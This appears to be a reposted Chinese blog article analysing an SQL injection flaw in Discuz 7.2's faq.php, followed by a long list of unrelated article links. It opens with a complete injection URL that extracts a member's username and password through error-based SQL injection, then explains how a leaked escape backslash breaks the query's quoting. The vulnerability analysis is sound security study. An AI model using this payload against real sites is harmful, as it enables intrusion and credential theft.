Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
PHP写UltraEdit插件脚本实现方法
Dec 26 PHP
phpMyAdmin出现无法载入 mcrypt 扩展,请检查PHP配置的解决方法
Mar 26 PHP
php适配器模式介绍
Aug 14 PHP
解析thinkphp中的导入文件标签
Jun 20 PHP
PHP在引号前面添加反斜杠(PHP去除反斜杠)
Sep 28 PHP
php汉字转拼音的示例
Feb 27 PHP
微信营销平台系统?刮刮乐的开发
Jun 10 PHP
实现PHP+Mysql无限分类的方法汇总
Mar 02 PHP
学习php设计模式 php实现访问者模式(Visitor)
Dec 07 PHP
详解PHP中的null合并运算符
Dec 30 PHP
php实现word转html的方法
Jan 22 PHP
PHP给源代码加密的几种方法汇总(推荐)
Feb 06 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
咖啡豆分级制度 咖啡豆等级分类 咖啡豆是按口感分类的吗?
2021/03/05 新手入门
PHP语法小结之基础和变量
2015/11/22 PHP
php自定义函数实现二维数组按指定key排序的方法
2016/09/29 PHP
PHP获取当前执行php文件名的代码
2017/03/02 PHP
thinkPHP事务操作简单案例分析
2019/10/17 PHP
Laravel 微信小程序后端搭建步骤详解
2019/11/26 PHP
jQuery AjaxQueue改进步骤
2011/10/06 Javascript
js中cookie的添加、取值、删除示例代码
2013/10/21 Javascript
Javascript中call与apply的学习笔记
2014/09/22 Javascript
JavaScript解析json格式数据简单示例
2014/12/09 Javascript
jQuery简单实现图片预加载
2015/04/20 Javascript
JavaScript获取页面中超链接数量的方法
2015/11/09 Javascript
js下将金额数字每三位一逗号分隔
2016/02/19 Javascript
node模块机制与异步处理详解
2016/03/13 Javascript
JavaScript中的编码和解码函数
2017/02/15 Javascript
nodejs个人博客开发第七步 后台登陆
2017/04/12 NodeJs
基于JS代码实现简单易用的倒计时 x 天 x 时 x 分 x 秒效果
2017/07/13 Javascript
Angular项目从新建、打包到nginx部署全过程记录
2017/12/09 Javascript
微信小程序云开发之新手环境配置
2019/05/16 Javascript
简单了解微信小程序 e.target与e.currentTarget的不同
2019/09/27 Javascript
[10:39]DOTA2上海特级锦标赛音乐会纪录片
2016/03/21 DOTA
[52:27]2018DOTA2亚洲邀请赛 3.31 小组赛B组 paiN vs Secret
2018/04/01 DOTA
python通过post提交数据的方法
2015/05/06 Python
python多线程实现TCP服务端
2019/09/03 Python
Python装饰器的应用场景代码总结
2020/04/10 Python
安装多个版本的TensorFlow的方法步骤
2020/04/21 Python
Pygame框架实现飞机大战
2020/08/07 Python
pandas参数设置的实用小技巧
2020/08/23 Python
CSS3制作漂亮的照片墙的实现代码
2016/06/08 HTML / CSS
Bowflex美国官方网站:高级家庭健身器材
2017/12/22 全球购物
菲律宾票务网站:StubHub菲律宾
2018/04/21 全球购物
大学老师推荐信
2014/02/25 职场文书
销售内勤岗位职责
2014/04/15 职场文书
创先争优公开承诺书
2014/08/30 职场文书
python not运算符的实例用法
2021/06/30 Python
windows server 2012安装FTP并配置被动模式指定开放端口
2022/06/10 Servers